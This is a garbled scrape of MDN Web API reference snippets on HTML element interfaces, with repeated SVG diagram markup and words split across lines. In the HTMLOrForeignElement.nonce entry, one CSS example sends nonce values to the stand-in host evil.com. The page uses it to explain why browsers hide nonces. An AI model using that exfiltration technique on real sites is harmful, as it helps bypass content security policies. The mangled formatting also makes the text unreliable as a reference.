ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmllabelelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmllabelelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLLegendElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmllegendelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="406" y="94" font-size="12px" font...
...-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmllegendelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLLinkElement.as - Web APIs
desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetas
experimentalchrome full support 50edge full support 17firefox full support 56ie full support yesopera ...
...ndroid full support 56opera android full support 37safari ios full support yessamsung internet android full support 5.0legend full support full support
experimental.
...
expect behavior to change in the future.
experimental.
...
expect behavior to change in the future.
HTMLMediaElement.readyState - Web APIs
seeking will no longer raise an
exception.
... have_future_data 3 data for the current playback position as well as for at least a little bit of time into the future is available (in other words, at least two frames of video, for
example).
...
examples this
example will listen for audio data to be loaded for the element `
example`.
... <audio id="
example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('
example'); obj.addeventlistener('loadeddata', function() { if(obj.readystate >= 2) { obj.play(); } }); specifications specification status comment html living standardthe definition of 'htmlmediaelement.readystate' in that specification.
HTMLMediaElement.srcObject - Web APIs
see below for an
example.
...
examples basic
example in this
example, a mediastream from a camera is assigned to a newly-created <video> element.
... const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); video.srcobject = mediastream; in this
example, a new mediasource is assigned to a newly-created <video> element.
... const mediasource = new mediasource(); const video = document.createelement('video'); video.srcobject = mediasource; supporting fallback to the src property the
examples below support older browser versions that require you to create an object url and assign it to src if srcobject isn't supported.
HTMLMenuItemElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmenuitemelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlmenuitemelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html 5.1the definition of 'htmlmenuitemelement' in that specification.
HTMLMetaElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmetaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlmetaelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLOListElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlolistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlolistelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLOptGroupElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptgroupelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmloptgroupelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
Option() - Web APIs
syntax var optionelementreference = new option(t
ext, value, defaultselected, selected); parameters t
ext optional a domstring representing the content of the element, i.e.
... the displayed t
ext.
...if this is not specified, the value of t
ext is used as the value, e.g.
...
examples just add new options /* assuming we have the following html <select id='s'> </select> */ var s = document.getelementbyid('s'); var options = [four, five, six]; options.foreach(function(element,key) { s[key] = new option(element,key); }); append options with different parameters /* assuming we have the following html <select id="s"> <option>first</option> <option>second<...
HTMLOrForeignElement.dataset - Web APIs
for
example, the attribute named data-abc-def corresponds to the key abcdef.
... accessing values attributes can be set and read by using the camelcase name (the key) like an object property of the dataset, as in element.dataset.keyname attributes can also be set and read using the bracket syntax, as in element.dataset[keyname] the in operator can be used to check whether a given attribute
exists.
... for
example: null is converted into the string "null".
...
examples <div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>john doe</div> const el = document.queryselector('#user'); // el.id === 'user' // el.dataset.id === '1234567890' // el.dataset.user === 'johndoe' // el.dataset.dateofbirth === '' // set the data attribute el.dataset.dateofbirth = '1960-10-03'; // result: el.dataset.dateofbirth === 1960-10-03 delete el.dataset.dateofbirth; // result: el.dataset.dateofbirth === undefined // 'somedataattr' in el.dataset === false el.dataset.somedataattr = 'mydata'; // result: 'somedataattr' in el.dataset === true specifications specification status comment ...
HTMLOrForeignElement.nonce - Web APIs
in later implementations, elements only
expose their nonce attribute to scripts (and not to side-channels like css attribute selectors).
...
examples retrieving a nonce value in the past, not all browsers supported the nonce idl attribute, so a workaround is to try to use getattribute as a fallback: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned).
... nonce hiding helps preventing that attackers
exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnoncechrome full support 61edge full support 79firefox full support 75ie no support noopera full support yessafari full support 10webview andro...
HTMLParamElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlparamelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlparamelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLPictureElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlpictureelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="401" y="94" font-size="12px" fon...
...t-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlpictureelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties no specific property, but inherits properties from its parent, htmlelement.
HTMLProgressElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlprogresselement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlprogresselement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLQuoteElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlquoteelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlquoteelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLScriptElement.referrerPolicy - Web APIs
the document https://
example.com/page.html will send the referrer https://
example.com/.
...if referrerpolicy is not
explicitly specified on the <script> element, it will adopt a higher-level referrer policy, i.e.
...
examples var scriptelem = document.createelement("script"); scriptelem.src = "/"; scriptelem.referrerpolicy = "unsafe-url"; document.body.appendchild(script); specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 70edge full support ≤79firefox full support 65ie no support noopera ...
HTMLSelectElement.item() - Web APIs
the htmlselectelement.item() method returns the element corresponding to the htmloptionelement whose position in the options list corresponds to the ind
ex given in the parameter, or null if there are none.
... in javascript, using the array bracket syntax with an unsigned long, like selectelt[ind
ex] is equivalent to selectelt.nameditem(ind
ex).
... syntax var item = collection.item(ind
ex); var item = collection[ind
ex]; parameters ind
ex is an unsigned long.
...
examples html <form> <select id="myformcontrol" type="t
extarea"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript // returns the htmloptionelement representing #o2 elem1 = document.forms[0]['myformcontrol'][1]; specifications specification status comment html living standardthe definition of 'htmlselectelement.item()' in that specification.
HTMLSelectElement.remove() - Web APIs
the htmlselectelement.remove() method removes the element at the specified ind
ex from the options collection for this select element.
... syntax collection.remove(ind
ex); parameters ind
ex is a long for the ind
